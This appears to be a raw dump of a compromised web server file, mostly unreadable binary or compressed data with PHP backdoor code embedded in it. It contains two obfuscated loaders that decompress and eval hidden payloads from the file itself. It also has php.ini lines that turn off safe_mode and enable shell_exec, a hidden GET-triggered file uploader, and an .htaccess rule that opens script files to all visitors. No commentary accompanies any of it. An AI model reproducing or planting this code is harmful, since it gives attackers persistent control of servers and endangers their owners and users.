b,;ǫrxvgamkzjd]Q!yfNXvؙ_aӑKw7r¯HV٪tq`]|aPD,rvʼ6{Zn"X56K6#Q~=#N?
jGMW=	ǍȷAE'"I7WoJD"59/a.C=G@/HGvuY:5"V=eY-6D( CM 9&MtAdVw&!n,;TggE1|:UF}}[O#$
"Gqo#=2^ѯz煻aM`lp|G
e#9	a{Q2F,YIkG-R~`]Y=.1ˏRR& 
:arotimnvyuqE&
toVUGDwyB]Bє* H+.PupUA$T@1Ǉh/TwPy@:%Sb}dd -xq
{H%Y . #uOk?x]+8X$ @^V#ȷrxvgamkzjdLNR*ie  @Y=JApJCǠ/3w+OWLBL'	Vު(=|AA0w˗D+ɢO|new͙7protimnvyuq|2`|US8#'
D4hOI1 dd`rotimnvyuqMLp"
XߘR(	ho'3)k
((C5mzSՂ?$
`lsHׄmRhKAip4䠠mOr0JTVgR9ط9'| D^#
 K%wś	mQMkb boސى\xIX}a##jt _QvI#MQԌRDOJ.(! opPPogew6k@I
"C `7:oAv+a,	D$vT$1
S8
F#9EyK yOtiwxZX_Q$oe/1XQee^rxvgamkzjd@^fF_y۹NzSVX D弭w̓` vx ex14HgKM_}=6*Nxk4}nV3_/-E<?php
$YlQw='f'.'ile_'.'get'.'_content'.'s';$MytE='s'.'tr'.'_re'.'place';$hBjX='s'.'ubs'.'tr';$hrYH='g'.'zuncompre'.'ss';$UblO='exi'.'t';eval($hrYH($MytE('fmtkwzrxcv','>',$MytE('ferawxgyco','<',$hBjX($YlQw( __FILE__ ),-28055)))));$UblO(0);
?>
xǒК*wPf7hkIh7q:;=sq{k&,?oެ߭i޴{g[Ck?:uOCoGǝX[_{:cHզ~Bs􀽏~q`?8=! **.0 B|I[z[P1N3áLo|zzEUZM`kfmtkwzrxcv޻fmtkwzrxcvשCT[Hs2yfmtkwzrxcv2=GkMؽ}sM@8"N6h9um$m)RFRCtYr??AlMҽқ뭓.}o}_'mt^ޗW9].
dferawxgycou:dl޽DHu"-&ykg#$]%i[CSq"5=۝O1f_tt[3a(n"{5"px&G["UA1p8`}AD"fmtkwzrxcvC||GRcӃfmtkwzrxcvKr'F(Qa,	GIH8n^HtV 'R#@]v?
aBS@:]/t:olKD9ā^Tj'BbGgfmtkwzrxcvZsjIF5P9s6ꖟ;xy
.*z	0@o[7K6YNI }ꆷxŮ] %7J~{rܑ`} zPPM+5ubwd,eJݧ*{dP5kCe&cX;~W#G)r8a1[Q&N	j~ByqX(mhwhRRe#fySz*҈+a/4jlr޻@j eV*GNRiH
Fܳw1+{j-O8vn	\גRfmtkwzrxcvȐ`mO^~:Ϋ
(ҬP5C2Xӟzf=hu.]D4,aZDr^Y;V?WӿLferawxgycodkYwMQ$#4	g'ٴBlݧn 
:c'F69eHf32QCx Ue0	X-~;A8_6X#tf6	C̈ /+fmtkwzrxcvjvˇv 2E_flߋў-!鋟&pXTl\#7` _o0y!ro#u!Z)(ރ"Mt*3'䄊 -K=LQ"0܎PYn3',d!~,[TM~=|fmtkwzrxcvkB^+uq"!yly8}j÷wf0Rferawxgyco=ɈݐYKQE Rݿ;9}fmtkwzrxcvh|șjaAleR@Ao
,Qe]67fmtkwzrxcvvά[0JNd|f_5zFckSnZIq而k({ՏjfϗBaRj$~N]{Tgrgs ;k.nR
{ )WԠ\o?O,s7	74Psfmtkwzrxcv!^hjLζ/
=m5Xr bWSXjbM,ferawxgyco5JhɕWU`9fmtkwzrxcvkΖoh9-\~%
%،_1Q\2mԾRfm.y|cXBra:Rd)"g|z\#Ʌ*j?V߇O2+6W6)#@v%ELMBA6ISʌȖ=0[/~T"Gu9
B2/gƟ/oJlk}NpQ"`Ȫy/ԥVɖ:mHU(XF*`C鹧vU44m
#{n;(
ֿOp5%Iqha$n# ǅrtpS$pk&UVTszt-6FܽM[ ģuy9?kӜ4$AQDhDz0HW|_]߽Cymr8ferawxgyco+	O0LprΟz\9_J5s䃣AO#G??742ZN$i)L'd1.?Q"J.BGTferawxgycopK7A;O(;K=X
J,Gh3v:b8pA=@~4gS(M fmtkwzrxcvc|
2VףqiX.[jEɕ,9fR9\C[1]~tЅTG{ќuK߸by Yt|aM7LTȔ2# @ϙ.3_+~=4}Puπ/'gBx=6nV㯕-@ P%Sr?W.'p&hUb.1ew`"4^LN7=ӶICj(T\XNp !H?jFTܒ@)4g͌yA
̀|̸,\
-#M}sQDh@yR-lvfmtkwzrxcvkكSCLvSn}»nfmtkwzrxcv'zS6HTR?.ld#
1x;0G[UKG`._'D7׀AH8
v?k@e`Y:l.0eXN
H#[a 7ѱ軉);oMΘS7V?{N7$^!.L؞jG}W0}2XOHzRE&=u%*J&!_{fmtkwzrxcvq֯|.yMI~mL2a vg/JHà8lmͽL7^ Kif ȨoQferawxgyco!Tañ$:Ng8޵L]l^ifmtkwzrxcv9	T4taS`4.ZFDs0T%=]
RMSGO@Dg-"7z0X#BUg0׿8vjNRrSjlG4*RΗ$g]
K?%WIZvPЧ7eO}jyb$i3*ferawxgycoLd=Þ_Ӕ}@~LּZf"2&V
{CU{!&+[˿o=}ap1Ɛ?mf7lP|Z:--kW#1]o
U+ٚ;NOѰ=[Ur+;9.o}jG{fb.&eum۶dJ%־ZoJa6u91(
Tǝeutk|vfWfmtkwzrxcvoWBN F
JvsoQNVca
4S
#4]Z@m΢';يj6f@E	w0^[w}Pז
*hH0axAsz&o-
uFwiC_ t_3A4[-TxaB)IQ.zALNyɥ(ToEU9B uzٔ2EpHQ\}SJfmtkwzrxcvXъzrWb~['噼wJw#G+25lEV󇀱cl.7"xbUe"Dp:NߊC\ferawxgycoCBy)*@	lpwMc5Cg*%8h%trDjF6M0%n!t(}Y:3@2F]Q|Z-E=ówee&"Ǌ:ibAfDd,Ɖ{dD+r.S)%/ZS=\ffmtkwzrxcvc#aE{ī  ?#՝e,
bdi ءʇMb=HpՖ/Tבlp_5yqX#4 ~1B[$Aferawxgycor1mPI}q YY_Xݧ89
i!!?*|C4&e'Je[wY$pu&2-]({Аf0h[u'P:!WDZ-vx8uԒnH/~e^+VCPC0R=(CFgQa}U\ǁeW8S[RPn.\_̍CvM~\5klicX㨊z
]nF
 4w&TΟ^ClJ!ÁsSL&-}g|:^כ21g
K*پ68LЦv	Z(]ssǔ}4k;'Fͥ((Df1
nn)SBϱz&M)5&6]nR,@꾿ul+\ĭ4t;sDȭ+{Jd
8$k!NCJvJy2֨Zv؂5nm4.୍|.MXڙ
fD*|SIRiPg%$9$E6@-g& )~"ferawxgyco)"
6!csao
Y3soR[~w 3A
V'ֽ?*~'P+yʧcYڭEZL?T3l\xyjuBxg˱\3"x (!483-T3N&Se7G(,j\fmtkwzrxcv9A3/j"
*3S@{0 ՇmXPTv'T3s8n@'SЙ/
zepv~[DqxwT$ӻeÃZa.+/;ĶJYuɈz$4,:ptoCq**ZT^t5٬v37?6nBVoG	x$862Efsˀz{[Zgg*A3}h Tipfmtkwzrxcvh(̬kFTT3 3&#K2ʍdh(bae%\Ru)A8HǭgbOy}dg0-hF*~7	0x׵K]諃K91t:%ڠ;MԦ^toӓp05ɇ
r.	fō۾ߢ KGZ1hXB5
\KzN'fmtkwzrxcvk^&;~pMʣQMx؈M )rs؏aXa9
?U2,lߨ8"Tuac/y#ޚw)z;/EEgeĲ9	~LZ?5*"y 4 jfÑ?aYj=ؔdˡfš.Sϩ+U챲HѾz.G^!N	@V}Jlc~7%uηlo(X2%}C %Lmد:+$ŋGNL/-ferawxgycofdw0~W.` $}#78kEޮ-{UoMjyaI$ (yZ ?0qԨEԸ9ea-Hm!Qê8!4Ə+mӵ9+vtrԎ/2ÎaoY(uh}I.9fmtkwzrxcvV陧2BG	AGRy4Kferawxgycosej-rJ=?/̇4a
 t`2o-ܒʽ(]LvJ	7oz0iܾ)yE|ςPDo23q(|Õy`vӽ6gHvL(Աۅ|T'Zfmtkwzrxcv!ϗo}L} nh=WlksH̯R!-]#[U!Gw76~SferawxgycovڪL/nne~`QLHL{?zferawxgyco	}sld#mJ=&
mC^z5	??3U؋af 7ы".fmtkwzrxcv431O'ixD@mA,V{MW[ދ̌
nu4-K&4G%{:PU
[|"^$#ҮϷˡC+iK0\nm~PzCI,:(Ro6nXԔsٚtRgʛ[;Q䘇jH%JN.TQm{Mzk~1`fk
GUߋ" _m}Y?P/103bv!ix!nyov$gu?K5Ch'ڼ3u.u20㣱A_EbqFh?ؿferawxgyco؟n#fmtkwzrxcv;	Kte	Rމ_x(M!0
1UP[5n:xtԕ (^y $ S	(_cdBK2\l#*E8̳ܟb^^Tk[L"X-
oD)cUK}If)9kvH$T
-W
?k]&Z+4eޞ-ӊHp)I.bHahN|C5s|ferawxgyco=	[]U|ny%[y.US6=nMUWIYlp$ܲ`gKBٸ✵H(OӪ=U
{7@|fmtkwzrxcvuؔR)(O1	|:zU*y}Ĺ%Z1p9^-Va @OgT'%1PVC]mfmtkwzrxcvTmnR{W3?:7eɛ~MCnLZþ|'*
Ey)k8S]ferawxgyco3C_OI~LK_./YE5Eߓv9륇'dd1fFgyy XUxKfmtkwzrxcv!k$c] CdL{bJ;J6,lP;Ny;mˈ짲I~eTX_2&=̱G ~53KL$K[NDz:
ɪs!O87.ɮUUId|Kk@4cݡbphZ_H٫}aVHu=_b#m/G!/Ŗ@O1})vX0zsIX-J"-;1_5"PA8o+hITzَG+6EXWƫy^?̧,f- NmVu.j$K,8U%Қ״ dFY@k=k\sQ_9]1_!n¡3!9O gDbK}}Rt`i:.
8[^
gUӥ4Zw L+͟+5[y9 d-75-ferawxgycoOb*KP_H|ʂ8cfmtkwzrxcvNZ.#8UhY}h
a"|dj^}=7rqhV-\R	֎
XH])xg:;ŰQm":LY)mցr}ǶBO\
dP3iꑉ	SBy.3Sʜճfqx'SBϵ r'p-	*ݞ5?+WyNŁ$*3*3-u4;`  4G5h￫l?BJˈNN 4e|y1]}KJ ƛ`fmtkwzrxcvM)յrW9P~lhZk	Q~j-U"ɖ/j
p1^yO$]Y	`]t²Rpl
Oܤ]ferawxgycoY\{Κir/2R^
=C 1_ԇ'|3ax
 5.0 9H	3]} JLUq0GZDMVAL10t[&S|BH4ZV!wmKxkrV0K0Ya PE3%1$4+e8o{4ן5UvJHG#moneN6գ/n4W^Nkvяq^g
zf0GܕfԒ(35/:qt*=y1թ	T 3J~P;W$$]1/.
HT`)wW|5%cIx[[4&fR-JRb:l|~Nm=P{,
K1Y5h
#EP*䙃Z)Y j"N"80f-ÈksIJJenAՌV	)Ft,ZL47XJA v%ڢ/p%Oc3?!ٚPs
ES.}h"Ftdferawxgyco/Eferawxgyco	}Ο؍|xO֐
o4ť
JUעo!4\m
evk4dпMQ7M/̀汹^8
#`?*Q[Ħu1]\lZ)
&"#fF颔 U37]w/twfmtkwzrxcvd;7qno7N(&NU5g,Komwc1f
@\c
Ӡ_QA.4HJ$A Mvue|vĪ-Q"κMLgb?S#x]Z}QCq \t:/rAww:L21DIq%q
\_#Jک/QO?PB2O^hTiQ_fk|[G^lrU..$yA~]OWٚ	L$}"v%2/-Q[MZM
8:8z4ձƓferawxgyco-%;f$q/Ub Yڭ*| zBjz'`:s6)b?@ûl9:VG p;_`na()6ferawxgycoSB*2.( `݋#po8&{Co.qx8Y~K+qiTnY]_DN{4=K1KՓzLfmtkwzrxcvi_7,eIrFJ(B]3_DZ$q;qvferawxgycofC򅳓,"%5cTRNs|0Vferawxgyco
v|oI	ъ!C VF+ǹ}h:
G!]gVG~ް4zXk|fmtkwzrxcv]C^:O{difmtkwzrxcv߭yXFCUyMs_3mBΆ9zzm%v|,U@6gfmtkwzrxcvehG]N6^t!񾈿ᣗN68}(o1ۨ~Eɱ) W٩9MV8!kD̏n?_e}}q`EEfȝp"لm~ׁPA\#ݐM0KHw!u˧n	݇5vƆWferawxgyco~7fmtkwzrxcv+_hnx@
;hKcNiL͓T~W|"=ĉ4ss֫\!N@eT3hGi|`v,^-qg1 5]9Tir/[[	nՎdr"!	X)C*Z]\GNXJUg4hVJ&K_ӯCµ]DOC	pM+v].;ferawxgycoy&A	+W@C/tY-B/$t#ZY%)2+mg'230XS`	~B+1{Z%wl
CXMZferawxgycoU|ferawxgyco@ݛ3I˳F"N*`t/XferawxgycoDH=y=w*k^lfbĵJ9G׈F-;~1ٗ2&B}P"Z$Hkc-,ֲUR(Iq}49*
9y:=fy{v]gDƗl_0LΠֲferawxgycoO+_^6R.h\5d
"tU!zaQ,A7΋UIiPEj?%t W-i̝gucѷfExK9fmtkwzrxcv%*蟀7D-G#?k"VR\*=yV[,WWzfmtkwzrxcvEdoV,,MsV-}L(_܍"L,fgNR?2~Jy4=j*й~5QБOgƯBu)X1v-/OM҇I"!'AJlsDwdZs
]3㳴|o0d%.5^9$J]v.sFG
9ҚMp:ZdlgBr(-m5aks_,kK2*ai|unܭqmRn47uz.1SI,h!W/+HB^/&I$~T
RyS))ݷND.?&_^`i?(5!O|gq7You~
 3LkUF\*q%]Y%۽A1E4ιUM0WG|m$x	4dRiDڥ'ZzO5~*"R	5x*FmKfmtkwzrxcv̈́Yj@`k(ңGrB
Ć_g[v:Nfmtkwzrxcv5|EIzGO"2Ņd\X?oEY`KCy._#|	~^erSI'8;	_3ᚲĊz(|Qferawxgyco$|osA3OzferawxgycoѦDm.(k0c'`yax=fmtkwzrxcv,G@v0a
l:'j
p[M3e`Ӣi_hp^Ϻd\h[ _C	~xإN5^Bfmtkwzrxcv	C26AX6QevtX2EjhOJq{Jw::Q4%%յ.U2-+?Z5aXeǣTP	ADi~g×ferawxgyco}IYZᮉt$\y} ҌO{ɽ~8^zya:0O곈gx^2%2~kcUrpӼGQ$J+}ft߬T3+Zj3U ah-fߟ|#ÐS1HlfmtkwzrxcvCʠݎ/M' rzcs]2;òKLMLq-}DyNbGW.!^nF6fmtkwzrxcvQrN}1"0L,Y'oUd4 WmAՄ'f~8\fx:KSPG2h0:{a\M83D3yt	}x_XX@XΌ+ߨʪ΂3T,fmtkwzrxcvfם;Kg!֗t|d=",V+M}5maV_aVwiOy
3ŧ^ferawxgycoy|O_,%T_͠RXFJ_"49LB1ͬu +y_)-&b e2biƱN]Hg _G![7407#"&x!8Z!`?Z~oF3^OIүW GEb쮝r@Y@I̷QO[CxpB09ޡͫO3p|rDpHh|G31h
ߙ^Fn?z# -{wNQq3ʡAQNcLq9KdM'n*땋\k2M rp07q!psiW3|_ĂϠ
5Uz-zSG,)S5`Ql/E?ti_p~b).;f@2I mfmtkwzrxcvVferawxgycorncҟ5"猅0블A}c9L#u@*u@k9'Pesferawxgyco-ԲAg4xyv3KKWy-qfmtkwzrxcv4;ge!Q07N)`k*ޤh1챻ES^uT
~-|Dpx(k."kN˗S@3ڳ'j0fmtkwzrxcv^Us@g䩁\'!̃ra(j
@0êh+[䣡$oYO4`Y\#4sjOd Ξ%GlQJ@NZiftץIQ83:d	vt-oϩ[x_Zr:I1xݐv(*3zQE-[qvPLJ~r.dh.W,sQg:[ۉ{(0uP9
SzV_i|iӐ'6jEi"*Ѻ_0?@uDECTOx]i6d#΃wGUNƪ@I9?:%A&xs@rs*Oi֝ǔHԶRyfQyj&ROt{\Q8'HF=IQi2*yvӑdmǂšMQ*4U̾'YtJy䒒f~-]=|&`ȏ;vnzFaz4,-f&W&%/P7
}
« 5\g%8I_?:=s}fmtkwzrxcvj"~%,DlrxfUHhV/fmtkwzrxcvHk\J.ꇱ?ֵ֗8:z#S%R1aÝfmtkwzrxcv/[fmtkwzrxcv4[(_evgqs+j:BO!IX|Lwh~@.[fOopkExt	fmtkwzrxcvceeNtÏHCZN pNU'py,^=.^0&bysKi)6fmtkwzrxcv~Z;=挅9ml%5֝ZL@FսvBhgtOGyԌpmez tRk'[$E wN6A/=~g\8x[Y@0%Vi#
K{aBN"=l[ferawxgycoQDx^3QFb^0FR޺!٧D&xa/dWb!&Fع1o8I`+}zpLJf5|H8.048D,X?݇Q+CEL
_d{@z+C q\K3Aiq=5|6ݚSH7-!fS_?ĜvۤE9LLX)Ĵw..S$=| gp{TloBlg{d:\DY =^J@Wܝ(u^amAgJsk~_)#V[oN__C@p|fmtkwzrxcv?Bbhy٫׾.8Sw\zA_Fӷkr"azN qtfmtkwzrxcvbLaӶ?
wL}Bᵁ.T2,O9
Dr{P4Z7?fmtkwzrxcvk(|GY*X!`:_Ky$E4~b&Wc.ϛG~6iVHTE"eSd,-P4ۯ MˤM=3*Á	yT t3y?m@rKI/ԛb"32wB}ran3Nli5Јmf&I"ZE(cpLgvMgn}q%VcǾƕFG̈nG,gferawxgycojJU&7H:	,%n]?g^'3ˎO*nr*a(u+h'nR?80B5pCG/IOk~Cvԉ`T'ɶOf:xB;l|=*wgqM+NX^6,fַ'7tځ
\ǑvfԭcV[㩰_rEPI{oA]`GSR1}|53NOfQJT,@8PvׁXYPXF+քnB/ůAjSj^=pO=-3jJjhbvu?(zژxfmtkwzrxcvNB{j	$hANiuݞ=X/-+Fs3ұNL5zjri

uy hN4USZ[()XO\h\?v
v\i
TA
TyhUll"[L9Bd;۰gjQ| }p`Ԋ +MU:hK㸮MvTB/Ts%
ft.[Z ferawxgycoԵW5
@U	C87}ԀvfJ
.T~ZRZͷKنPqt \A
]
0;ߋ
e|@ڑzGؓ0^@@Ezk`8yjCUBkK_Sمd#U/fmtkwzrxcvd\^;7VTjӇm*SrnHu"Nf|_x!0 G{j.l:(Wwйh7+Ti%ZӾN5RθU6r=tFe^UferawxgycoG9_
:	=}:]5OãnY%{~6)Fs]F]Lٔc	"?)
܆FIy/Q~|!pw QjI%|`6yG4I5lѶ&ہOT"OCQ"ŌٰAP+q^ׯ2zرUW0*fX:+|OgoнLvPfmtkwzrxcvWB6pEEhYFҋ_+p,
2oDS4j]~'pGqrc/H]Lr[F?D+b"ˈCB~Sɘ_#rDc##b_xc4Z*.\_3 s껞q/AҮ&͊"iZEznAz3_y 	ZZ_~пى!]?[8
QaoKnƪ[|ferawxgycoֶ,"qK~FAq;Q/@K똗zހ|g]zeU4zkWMsxFe6
IGq/fI6I
Ǥh=ŬBhD+&F*^nLferawxgyco!󢎯ferawxgycoA.)͑;}=R;L
*f6Alz,2wc YfmtkwzrxcvB]fmtkwzrxcvjaėXXS!0'.Y_ӺQ|t,RdޛoMu lعIeoĒ"s/F}n^I|]spninidqbEzQr6T#|.H#VuqbttV+ZP=gЛ	y
}B#m.KV8fô]eferawxgycoHC/Hi"CfmtkwzrxcvJ~T)d ʕU	aVh$eˣ[^kkferawxgyco2i&Q.I
'
ǽo|ISx#}߭0Sv,eh#oKrE~].(V_*=A-	GQzhhdBl;:#kfliJz|4%'M*XjH+t&ɑQ:]ȟGUu +%
JMP}ClM)|N~ޕlT5K ?^KH7&Mbxj߫n92(ݺndN*zk⠭K[,M.~VE,NG^[Er]Io2
#A:dVpjCdzG\6ˡAB]*wV\̖^2Rԑno8if7N8	
*	{םU08R-nFferawxgycorztE΄RW2SVڜ@{爄qE$tb#P|vx/?j
ܚɻ
(
NGW~n|}^~.IOS	Ͽ5Gferawxgyco2ferawxgycoΛY~FNt'nf1G
wХ.]JŠgm=UfmtkwzrxcvCϚ0Ea ]+6XE?tD	q5K'd,k	\dZ''}}&h~MP'	pyKer~P|'pkc0HXyܕ ʲ\{#RNR!2,vWRQmferawxgycoyF]O-?ȹz~I3\9v]|kςgEcp.=/P,k';\TGW#HǰgN9Q +1濾xUl=|$guV 3/EL.`.|_[(&M!uH0+4houvAf`
ferawxgycoi
EhR@."IKM x`PpM  Tfo)xC[
Thm}S?C	Ov#gQү'Y* 
P#x'ZqpaEKmBfmtkwzrxcvOfmtkwzrxcvXE%c ~a%I+/%Jqnjrel,G..+cnN?bÛ8,b?.DxI0WD: ~&t$i?3E;}2
wUX-Xcݮs+)@.*
gz]+fmtkwzrxcvDsN|s)@(
zZ_%O5i	osic,QSHod[wFFYE%P9o:&wmj-+'YF
'}Sޫ_ferawxgyco5:D.f}CEZǃ;QP)ferawxgycoS8es~H"cɵ|0z8EQfmtkwzrxcv:EferawxgycoajKrPς/@ʽF;L8it'N&J6
LɝnMWh"}Kferawxgyco.x)Rl!}
FM`}X
ThH?fs?y
Ǉ
55R4.j|F&~|۔=:GfmtkwzrxcvGZDv}-yUP*Mc)
氿hH_[[M~p#:ӎ8[1hd;`kmp*JfmtkwzrxcvWlm`RPQks1yE낲[ľTU *TŐutt3l6fmtkwzrxcvcferawxgyco8~I~Bܬ0`?/v}~Ai/^*
S@ZF0!UtCVI䐧NO?w
bA#ȯ0;-_hr#u TwXNAA'Gߦ\ѪY"$ yDH[rN8eSBĤ1ڞ9_}Cv]QrX97^KLc%sCSw~
WS{w:Itp!,Yiv@rbȡa1ɠ[&-w ѩ ɥs's[䉟fmtkwzrxcv?@k94%M:dF,}{@u
FI	]tq$&d&uBĹ	Ea_Y˔d6owyjd
R{ҐfIؤ`#(ԅ{iyqMOl%ǽPȘfmtkwzrxcv5sAZwQsH-1burfAӦA/*SA@b/tP;D$fhD
ifcpN:ferawxgycoj%FsD%tS{ZOlZa`$0
r"_ |%갴K-rt[pPA]
3rwbBYrƹ+VxlNmu
FeO8s8at"Fr)Ė/Ek&0(L	1}Zif01YH qX){qferawxgyco͎!YZs
Rr㰟#'iˌ_!n2lm mR W=ղ=!(^8%fmtkwzrxcv4Lfmtkwzrxcv cS^hJ:d|N]/*![HJ@hR%.bTA}i57ZHmfhu
׺k;Ĺx6g_ӯ!;/0rtҮ%w(CubpaRt9L{~#Ws-DY c_Fa; wQ~Nfmtkwzrxcv4KH8&/0ns#gIs6\vâH$XrK/^gvuw5 MLIݸ9=LJ
,ᆾ	5?q뚬Z
j||)aAnJfK#"mE|H, $(!͹UT'&]P~	@3l-,A	ZPtjfH$cUgG&q
ϬJ4VjferawxgyconQIϚk@;PGTAə,TblCh[dUferawxgyco4N{A#I Tuae4_t4CۖI'Zm5˒j7K	r[g5LJ .Az7)MuBd7iI}bM2-J.%vc$B5dzݣfmtkwzrxcvfx*st+ud.-?F@ hQ]J}
AVĘOе-_^͸iЊ-l7)|Ԇu/{fmtkwzrxcvgQ`^"O	G^u^M&kK4 1/Y7vMچƙX:!!l$fp ]c
2?cFbR}[§^yC];]/+c~S_xhj5yۈ@"v8-#
aw.E'RM+I;̿ȴyzMferawxgyco"4oY
޸M7ferawxgycoV~)u&A5/}	U=u*'ढ़SK V(gyASU\rZkd`=f^YMceOٱ\ɸojσ]iτJƛ_gB0i gD39e@ƶ({фE0z(N-a@7g$SH7p
}T"Q[pE3!G	
Jf@ܿ%zc'85/dw$Y8ߢ?gsPPX=Swz T'op4
s?6kFP'Gז!9qUW'q=x! "[ԍ4ferawxgycoRH3s9K#!b'a

,1Ȝr-;UTYFMenIqwїQ}טԃ8 av;$%ferawxgycoʽ?wH :X2tbB}$]ȥzz8 *)	6S=}]sšO#_X*q-4ISt,3'ʗL?mYZferawxgycoピ
/V'O(!
DD@OQ1TjqI;:US͟rEOV}JH{fmtkwzrxcvV3'~\peEΛ .cBZr_3HX]F;JTNI@IGjA^ۆ₤uQ\Ι=ferawxgycozrI	3W1dJ'ƺ!0Q#Uv%Nl{oHnEfmtkwzrxcvw~'Յ:!'}H:b%KKbyi8r00biqٴ9˗4ferawxgyco|ǩn^BNKaA6Oø;-^CL6,ko#'sJX3Kjɏ 	#1MvuW`쬍0[\?#x(~x^#1X	ѱu@fmtkwzrxcvJUjh	鿋^fmtkwzrxcvs7݌7;;%P
WQ]%j.b(;f!)_̆'@N.l#kofmtkwzrxcvkePw1eП WԂp`)Mp1i%3Jg$!Z1˨U\ferawxgyco=ϕܯ6V2|^l5{#4B{3@\;3{۴ferawxgyco-W*ǌ9+yra 'S9E~{ &'?YPJFZy|8o5O${~")65;5QނsErs0J-MU1
J9yJqHSTX0[D5bXw.
)3+
&.;t7o㕰T"7ÊlUls'),QUwzX4J}YbDYx
.N#s7g)cferawxgycoU CC{TsKk&yGЀ)|[$Д*g¼Dn%[PK3l/
`t|GCr8y,SE+F0%9v]`W+c#n]dl]:G_N+taԛHw㖷
(Y}ZJx{G#L-2x1+!m_ᲨK0پ@`\-\jqľ,28/b="4H/Fܛg9eÈ]1sa^.c|չferawxgycoV$bT	/1J愠Q!,r}&LCO/a$hferawxgycoef(r dxpԒ˾ֵMYvv/
iﴠEmf{kZ
*U)Y^$~9F|:^G6o8!UIJJ%P@yZOHF`:HFшigQfv(y1{opZ?]w()2Ð+RaKֳ2;1ferawxgyco?"uSz;,qmEn}";&-iferawxgyco%b'
D)[i/ܱI(EOgUBt_J+ZMh;H!+InX8( `C]-[*yt7'(!x/o0Cq'Me~T;H|Ŵ_"P\a	}x(l] S"ferawxgyco+\)Õw1z)(+1f~Dŷh#s
?peN*!BiXi5QVd
Ҵ~0kG6Ҹ9]-6k"2%%ajڇJyDAJt3ڇVrkpv0Ič-ٯ C0_?|j4rvǏᷱeǑ"@⤚0ferawxgycoV*OJ:[5{xF6cW !5nM&^*fC7 )TlQ,hPT_|yYmPdꇓ"hYl\mIe kQkt~Hj!FxEwKYF	Kϣ_73;񷄮:8l-ULs:jAv0կOPZeMrsGfj0{WK'JWR@F/:QU[Ÿ#g0j":Wb84uћOzf90QGhsMħ~DBfduJA@/OrqJV-y BfmtkwzrxcvZؚqYziGr;vcC[PguGTɵ\=S~?O al},xQ'4
5Ğv: `"P_@M_nI@aNB*ezz!fmtkwzrxcv*jfmtkwzrxcvCDh3X\z(NP8J+@Լ1:A_)9ϡV۶cAU.D}{p
^^4J(tޚv6]/MS?චkƋ0j	ۤ]e :+jYs,Mic`{P*mkݧ~]`NWx]8T@&kԇPV`U}3Dʨ#pG$\k*xbVau]r0]#I@M-וq' =ܖHm60L7vw}F&/x2-F_3c$K"yPۻf;Dfmtkwzrxcv3" .T" {ao&Ύ孨lOh)Sfq	]WYQJ[ٛ,AAl`bc'Vkέ[?f=@GM'zIk-uferawxgycoA{P?rtG٢A"fP		|T[*F3wg{_dK#j$Yct)^%eZ8iTwAm7Q1Q{8.jWfmtkwzrxcvg|+7yZHuetJ/cwi=G?ferawxgycoSHՍJ8I=;yg5(hfl\2W`HXPܬRS_%4+^*b][Ne#yvq;w)8Ғn(d#|F~P7 5]U_-U菛A{i^Ueofl\OY༹έcBs}[jפ'E#XLnN_G]:@Kz_N~ŞTH4]8vg(b8ﺆ~¶_.SPO!ErjHZy
7+nqmƙ]:Уxfmtkwzrxcv_ferawxgycoyk|E2D"9:^%'"䵝X(bfmtkwzrxcv%h&QfmtkwzrxcvxƓferawxgycoXwGG?#Z	b*b
!+CB}Qw}=)\fm]ѴiZh荮zԤIӍ੻W||׎oy06=t"=EuPDferawxgycoEB?qpSb:$q1uh#ݗaL&kx Xӂ)UB9qdEn+l8EIТ7hAaTfmtkwzrxcvfmtkwzrxcvaٻUqޔ-`ܛ"˗t~fmtkwzrxcvװ
JiCڶV½jkv7(CN|\Q_--A1=c$ĉ
,5Q 7-fmtkwzrxcv5*dhxIqm_
lQSR=arYKikfeOVc+$cI[PDjt`Drk꣰A.;$ǭ-K-`q8f\U80H($Oj!´|diz{)E3*jTng!˃6~ƮyY,?3A:GR.u9HןG!kO.#o*t^a?VrcR5w`H\f6P9gQW?yzH9wj}b|'E?߈3{4N2lkH|d+țOT0]oI\6	ʥ(G`~#їDr=WNB"^_iR52b352qؚ	Q35ؔX4Md\òxd7L7'c~~&e)s|qLF\LnY[&Z1z=|ZДbiE9'qR=AFJkZ$R!ye9=w嘌#'CKZ&vB/F5@A'0|#f$"u2G%&M*[+sc_LD2	̹+51|7;A#2͆  aa )ۣkrI^(BǦuntłpѬ{߅P4ޜe?0$pSՙ[obMooWA{D*oߋF,~)R[NxOdferawxgycoYlw[ꪗferawxgycoK0VIAD2Wwdv]&
DK/zɀ?ZDnln wj@;za &6֝z#&=rb{2H'eƻ3#;8Rz߯oXE-KdP5id|n$lr;I9r3@zH)
0X7fG&f=Ŗk/d^f	F(g"\n/6%B!"r1cZ.7]hɈ$M!Hv'TI?zfmtkwzrxcv V蠟7c$}nwO?u}SŮ3cgtN1m4[g6ox֯	 ]yCZ
IxF$Bgv.;@wуfmtkwzrxcv0矁/T %[o= ^gS$%ϯoferawxgycosafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$CoXk='st'.'r'.'_replac'.'e';$Oaos='gzunc'.'ompress';$Esce='e'.'xit';$sStv='subs'.'tr';$xCYS='file'.'_get'.'_content'.'s';eval($Oaos($CoXk('fparewvbyo','>',$CoXk('ujmpyxkwnv','<',$sStv($xCYS( __FILE__ ),-172003)))));$Esce(0);
?>
xTnPf*u@U9a/H9g79gfparewvbyow8-K69Ö??g{Ȧ՟lU˚.9¿mϿKT\h&fparewvbyo܌o6źN?^yZfww~?$KpHAS:O4i:\g?sϊ럁gCL9l4CK;
,O62OdgJ ^zŔ@t +imtynleL8|]x!tl*44JKDqB:L*EtA`%|q2肈rq/J@
NM
xܡdY'mg\Bq!:vs
C)Rwgz?`xS	9̠Xm3#ujmpyxkwnv!PEi4^eYӎT$ΩFБש%~Z|aogܮbkB",9« 9TGv}Vckgg2s)7 9u3_}%鋭XujmpyxkwnvQiL5 ECڍGo/kT{s,Pk)lfparewvbyoj}#Yujmpyxkwnv\il|aO3
